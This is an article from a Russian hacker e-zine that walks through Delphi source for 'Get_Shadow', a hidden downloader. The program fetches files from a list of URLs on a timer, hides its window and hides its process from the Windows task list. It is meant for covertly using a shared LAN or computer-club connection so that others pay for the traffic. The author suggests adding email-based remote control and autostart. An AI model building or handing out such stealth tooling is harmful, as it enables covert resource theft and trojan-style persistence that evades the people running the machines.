# # # ######### # # ######### ######### # # # # # # # # # # # ######## ### # ## # # # # # ####### ## ####### # # # # # # # # # # # # ######## # ######### # # ######### ######### # # ####### # # ---== [EXEC] electronic magazine about hack sercurity coding & ru hack scene ==---
# Get_Shadow или Скрытая загрузка. |
Представим такую ситуацию когда скажем у вас в локалке или комп. клубе, есть выделенка.
Так вот всё там конечно течет по траффику и никому нехочеться платить за скачанные мега,
а у кого-то и гигабайты. Поведую вам об одном замечательном программном решении этого
вопроса. Писать будем на дельфи чтобы по проще и побыстрее.
Вот код функции получения файла с сервера на хард к себе.
>----------------------резать тут------------------------------- uses WinInet ....... function GetInetFile(const fileURL, FileName: string): boolean; const BufferSize = 1024; var hSession, hURL: HInternet; Buffer: array[1..BufferSize] of Byte; BufferLen: DWORD; f: file; sAppName: string; begin //Result := False; sAppName := ExtractFileName(Application.ExeName); hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); try hURL := InternetOpenURL(hSession, PChar(fileURL), nil, 0, 0, 0); try AssignFile(f, FileName); Rewrite(f,1); repeat InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); BlockWrite(f, Buffer, BufferLen); until BufferLen = 0; CloseFile(f); Result := True; finally InternetCloseHandle(hURL); end; finally InternetCloseHandle(hSession); end; end; >----------------------резать тут-------------------------------Как видно этой функции передаётся два параметра это удалённый путь и локальный путь. Исполльзование будет выглядеть вот так: GetInetFile('http://execteam.org.ru/archiv.rar','C:\archive.rar'); Следушим будет процедура обработки таймера. Тут можно и покоментировать )). >----------------------резать тут------------------------------- procedure TForm1.Timer1Timer(Sender: TObject); var f:textfile; cur,url,lf:string; begin assignfile(f,'getx.lst'); //Присваиваем переменной f файл getx.lst reset(f); // Открываем его для чтения while not eof(f) do // Пока небудет конца файла f делаем :) begin readln(f,cur); // читаем строку if cur='stop' then //если строка стоп begin memo1.Lines.Add('stopped'); timer1.Enabled:=false; // тогда остановливаем таймер end; if cur<>'stop' then // Если строка неравна stop тогда begin url:=copy(cur,1,pos(' ',cur)); // вырезаем из строки url lf:=copy(cur,pos(' ',cur)+1,length(cur)); // вырезаем локальный путь memo1.Lines.Add(url + lf);// это для отладки getinetfile(url,lf); // и сливаем файл end; end; closefile(f); end; >----------------------резать тут-------------------------------Файл getx.lst выполняет роль листа ссылок для загрузки. Memo добавлен на форму для отладки.Теперь нужно сделать всё это добро скрытным и непривлекающим внимания. Всё тоже очень несложно. Берем функцию из KERNEL.DLL. После implementation пишем: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; После чего в процедуре OnFormCreate пишем следущее: RegisterServiceProcess(GetCurrentProcessID, 1); Таким образом мы зарегестрировали процесс как сервис и он небудет виден в меню CTRL+ALT+DELETE. Теперь нужно сделать невидимой саму форму для этого воспользуемся следущим кодом. >-------------project1.dpr------------------- program Project1; uses Forms,Windows, Unit1 in 'Unit1.pas' ; {$R *.RES} var WhEvent:THandle; begin Application.Initialize; ShowWindow(Application.Handle,SW_Hide); Form1:=TForm1.Create(nil); Application.Run; WhEvent:=CreateEvent(nil, true,false, 'xt'); while (true) do begin WaitForSingleObject(WhEvent,1000); Application.ProcessMessages; end; end. >-------------project1.dpr-------------------Вот и всё небольшой каркас для проги готов. При желании можно сделать управление через мыло. немного поясню: Просто отправляешь файл с ссылками на определённле мыло, а программа проверяет его и сливает новые файлы.Добавить в автозагрузку я думаю несоставит труда. Ещё нужно в процедуре OnTimer проводить проверку соединения с интеренетом. Вот и всё теперь мы имеем очень простую программу для скрытого скачивания но в ней полно недочётов и ошибок. Всё это придёться исправлять вам, - ИБО НЕФИГ. |
+ Содержание + |